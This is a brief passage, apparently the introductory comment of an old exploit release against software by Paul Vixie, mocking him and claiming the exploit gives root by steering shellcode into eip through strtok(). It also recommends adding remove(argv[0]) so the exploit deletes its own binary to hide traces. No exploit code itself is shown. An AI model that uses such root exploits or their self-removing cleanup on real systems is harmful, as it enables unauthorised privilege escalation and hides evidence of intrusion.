Paul Vixie loves us all so much it's overflowing. For your own private
use, standard disclaimer and transfer of responsibility to that of the end
user applies.  Oh yeah, and I made it semi-self cleaning just because I
love you guys so much.  If you want add remove(argv[0]); to the list of
removes to remove the exploit binary as well.

 * Not only does Paul give up root with this one, but with his creative use of
 * strtok() he actually ends up putting the address of our shellcode in eip.
